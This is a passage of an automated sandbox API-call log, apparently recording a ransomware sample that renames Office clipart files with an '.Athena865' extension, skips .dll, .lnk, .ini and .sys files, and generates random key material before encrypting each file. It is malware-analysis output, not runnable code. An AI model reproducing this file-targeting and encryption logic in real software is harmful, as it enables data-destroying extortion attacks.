lpString2="Athena865") returned -1 [0122.497] lstrlenW (lpString=".dll") returned 4 [0122.497] lstrcmpiW (lpString1="BS01635_.WMF", lpString2=".dll") returned 1 [0122.497] lstrlenW (lpString=".lnk") returned 4 [0122.498] lstrcmpiW (lpString1="BS01635_.WMF", lpString2=".lnk") returned 1 [0122.498] lstrlenW (lpString=".ini") returned 4 [0122.498] lstrcmpiW (lpString1="BS01635_.WMF", lpString2=".ini") returned 1 [0122.498] lstrlenW (lpString=".sys") returned 4 [0122.498] lstrcmpiW (lpString1="BS01635_.WMF", lpString2=".sys") returned 1 [0122.498] lstrlenW (lpString="BS01635_.WMF") returned 12 [0122.498] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.Athena865") returned 73 [0122.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.499] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14996) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.499] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.500] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.500] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.502] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.503] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.503] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.505] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01636_.WMF" | out: lpString1="BS01636_.WMF") returned="BS01636_.WMF" [0122.505] lstrlenW (lpString="BS01636_.WMF") returned 12 [0122.505] lstrlenW (lpString="Athena865") returned 9 [0122.505] lstrcmpiW (lpString1="1636_.WMF", lpString2="Athena865") returned -1 [0122.505] lstrlenW (lpString=".dll") returned 4 [0122.505] lstrcmpiW (lpString1="BS01636_.WMF", lpString2=".dll") returned 1 [0122.505] lstrlenW (lpString=".lnk") returned 4 [0122.505] lstrcmpiW (lpString1="BS01636_.WMF", lpString2=".lnk") returned 1 [0122.505] lstrlenW (lpString=".ini") returned 4 [0122.505] lstrcmpiW (lpString1="BS01636_.WMF", lpString2=".ini") returned 1 [0122.505] lstrlenW (lpString=".sys") returned 4 [0122.505] lstrcmpiW (lpString1="BS01636_.WMF", lpString2=".sys") returned 1 [0122.505] lstrlenW (lpString="BS01636_.WMF") returned 12 [0122.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.Athena865") returned 73 [0122.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.506] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1874) returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.507] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.507] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.507] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.511] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.512] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.512] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.512] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01637_.WMF" | out: lpString1="BS01637_.WMF") returned="BS01637_.WMF" [0122.513] lstrlenW (lpString="BS01637_.WMF") returned 12 [0122.513] lstrlenW (lpString="Athena865") returned 9 [0122.513] lstrcmpiW (lpString1="1637_.WMF", lpString2="Athena865") returned -1 [0122.513] lstrlenW (lpString=".dll") returned 4 [0122.513] lstrcmpiW (lpString1="BS01637_.WMF", lpString2=".dll") returned 1 [0122.513] lstrlenW (lpString=".lnk") returned 4 [0122.513] lstrcmpiW (lpString1="BS01637_.WMF", lpString2=".lnk") returned 1 [0122.513] lstrlenW (lpString=".ini") returned 4 [0122.513] lstrcmpiW (lpString1="BS01637_.WMF", lpString2=".ini") returned 1 [0122.513] lstrlenW (lpString=".sys") returned 4 [0122.513] lstrcmpiW (lpString1="BS01637_.WMF", lpString2=".sys") returned 1 [0122.513] lstrlenW (lpString="BS01637_.WMF") returned 12 [0122.513] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.Athena865") returned 73 [0122.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.514] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3948) returned 1 [0122.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.514] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.515] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.515] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.522] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.522] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.522] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.523] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01638_.WMF" | out: lpString1="BS01638_.WMF") returned="BS01638_.WMF" [0122.523] lstrlenW (lpString="BS01638_.WMF") returned 12 [0122.523] lstrlenW (lpString="Athena865") returned 9 [0122.523] lstrcmpiW (lpString1="1638_.WMF", lpString2="Athena865") returned -1 [0122.523] lstrlenW (lpString=".dll") returned 4 [0122.523] lstrcmpiW (lpString1="BS01638_.WMF", lpString2=".dll") returned 1 [0122.523] lstrlenW (lpString=".lnk") returned 4 [0122.523] lstrcmpiW (lpString1="BS01638_.WMF", lpString2=".lnk") returned 1 [0122.523] lstrlenW (lpString=".ini") returned 4 [0122.523] lstrcmpiW (lpString1="BS01638_.WMF", lpString2=".ini") returned 1 [0122.523] lstrlenW (lpString=".sys") returned 4 [0122.523] lstrcmpiW (lpString1="BS01638_.WMF", lpString2=".sys") returned 1 [0122.523] lstrlenW (lpString="BS01638_.WMF") returned 12 [0122.523] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.Athena865") returned 73 [0122.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.525] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10538) returned 1 [0122.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.525] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.525] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.526] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.528] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.529] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.529] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.530] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BS01639_.WMF" | out: lpString1="BS01639_.WMF") returned="BS01639_.WMF" [0122.530] lstrlenW (lpString="BS01639_.WMF") returned 12 [0122.530] lstrlenW (lpString="Athena865") returned 9 [0122.530] lstrcmpiW (lpString1="1639_.WMF", lpString2="Athena865") returned -1 [0122.530] lstrlenW (lpString=".dll") returned 4 [0122.530] lstrcmpiW (lpString1="BS01639_.WMF", lpString2=".dll") returned 1 [0122.530] lstrlenW (lpString=".lnk") returned 4 [0122.530] lstrcmpiW (lpString1="BS01639_.WMF", lpString2=".lnk") returned 1 [0122.530] lstrlenW (lpString=".ini") returned 4 [0122.530] lstrcmpiW (lpString1="BS01639_.WMF", lpString2=".ini") returned 1 [0122.530] lstrlenW (lpString=".sys") returned 4 [0122.530] lstrcmpiW (lpString1="BS01639_.WMF", lpString2=".sys") returned 1 [0122.530] lstrlenW (lpString="BS01639_.WMF") returned 12 [0122.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.Athena865") returned 73 [0122.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.531] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4236) returned 1 [0122.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.532] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.532] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.532] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.535] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.536] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.536] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.536] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CARBN_01.MID" | out: lpString1="CARBN_01.MID") returned="CARBN_01.MID" [0122.536] lstrlenW (lpString="CARBN_01.MID") returned 12 [0122.536] lstrlenW (lpString="Athena865") returned 9 [0122.536] lstrcmpiW (lpString1="BN_01.MID", lpString2="Athena865") returned 1 [0122.536] lstrlenW (lpString=".dll") returned 4 [0122.536] lstrcmpiW (lpString1="CARBN_01.MID", lpString2=".dll") returned 1 [0122.536] lstrlenW (lpString=".lnk") returned 4 [0122.536] lstrcmpiW (lpString1="CARBN_01.MID", lpString2=".lnk") returned 1 [0122.536] lstrlenW (lpString=".ini") returned 4 [0122.536] lstrcmpiW (lpString1="CARBN_01.MID", lpString2=".ini") returned 1 [0122.536] lstrlenW (lpString=".sys") returned 4 [0122.536] lstrcmpiW (lpString1="CARBN_01.MID", lpString2=".sys") returned 1 [0122.537] lstrlenW (lpString="CARBN_01.MID") returned 12 [0122.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.Athena865") returned 73 [0122.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.athena865"), dwFlags=0x1) returned 1 [0122.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.538] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9322) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.538] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.539] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.539] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.541] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.542] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.542] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.543] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CG1606.WMF" | out: lpString1="CG1606.WMF") returned="CG1606.WMF" [0122.543] lstrlenW (lpString="CG1606.WMF") returned 10 [0122.543] lstrlenW (lpString="Athena865") returned 9 [0122.543] lstrcmpiW (lpString1="G1606.WMF", lpString2="Athena865") returned 1 [0122.543] lstrlenW (lpString=".dll") returned 4 [0122.543] lstrcmpiW (lpString1="CG1606.WMF", lpString2=".dll") returned 1 [0122.543] lstrlenW (lpString=".lnk") returned 4 [0122.543] lstrcmpiW (lpString1="CG1606.WMF", lpString2=".lnk") returned 1 [0122.543] lstrlenW (lpString=".ini") returned 4 [0122.543] lstrcmpiW (lpString1="CG1606.WMF", lpString2=".ini") returned 1 [0122.543] lstrlenW (lpString=".sys") returned 4 [0122.543] lstrcmpiW (lpString1="CG1606.WMF", lpString2=".sys") returned 1 [0122.543] lstrlenW (lpString="CG1606.WMF") returned 10 [0122.543] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.Athena865") returned 71 [0122.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.athena865"), dwFlags=0x1) returned 1 [0122.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.544] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3564) returned 1 [0122.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.544] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.545] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.545] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.547] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.548] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.548] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.548] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CLASSIC1.WMF" | out: lpString1="CLASSIC1.WMF") returned="CLASSIC1.WMF" [0122.548] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0122.548] lstrlenW (lpString="Athena865") returned 9 [0122.548] lstrcmpiW (lpString1="SSIC1.WMF", lpString2="Athena865") returned 1 [0122.548] lstrlenW (lpString=".dll") returned 4 [0122.548] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2=".dll") returned 1 [0122.548] lstrlenW (lpString=".lnk") returned 4 [0122.549] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2=".lnk") returned 1 [0122.549] lstrlenW (lpString=".ini") returned 4 [0122.549] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2=".ini") returned 1 [0122.549] lstrlenW (lpString=".sys") returned 4 [0122.549] lstrcmpiW (lpString1="CLASSIC1.WMF", lpString2=".sys") returned 1 [0122.549] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0122.549] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.Athena865") returned 73 [0122.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.athena865"), dwFlags=0x1) returned 1 [0122.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.551] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2422) returned 1 [0122.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.551] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.552] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.552] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.556] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.558] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.558] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.558] lstrcpyW (in: lpString1=0x241e8ae, lpString2="CLASSIC2.WMF" | out: lpString1="CLASSIC2.WMF") returned="CLASSIC2.WMF" [0122.558] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0122.558] lstrlenW (lpString="Athena865") returned 9 [0122.558] lstrcmpiW (lpString1="SSIC2.WMF", lpString2="Athena865") returned 1 [0122.559] lstrlenW (lpString=".dll") returned 4 [0122.559] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2=".dll") returned 1 [0122.559] lstrlenW (lpString=".lnk") returned 4 [0122.559] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2=".lnk") returned 1 [0122.559] lstrlenW (lpString=".ini") returned 4 [0122.559] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2=".ini") returned 1 [0122.559] lstrlenW (lpString=".sys") returned 4 [0122.559] lstrcmpiW (lpString1="CLASSIC2.WMF", lpString2=".sys") returned 1 [0122.559] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0122.559] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.Athena865") returned 73 [0122.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.athena865"), dwFlags=0x1) returned 1 [0122.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.560] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2262) returned 1 [0122.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.560] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.561] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.561] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.563] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 